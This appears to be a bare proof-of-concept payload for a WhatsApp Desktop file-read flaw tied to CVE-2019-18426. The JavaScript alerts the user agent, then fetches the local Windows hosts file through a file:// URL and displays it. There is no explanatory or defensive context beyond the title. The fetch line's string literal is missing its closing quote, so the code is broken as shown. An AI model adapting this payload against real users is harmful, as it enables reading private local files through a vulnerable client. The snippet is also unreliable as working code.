WhatsApp FS read vuln post CVE-2019-18426

9.js

alert(navigator.userAgent);
(async function(){
	// read "file:///C:/Windows/System32/drivers/etc/hosts" content
	const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
	const t = await r.text();
	alert(t)
}())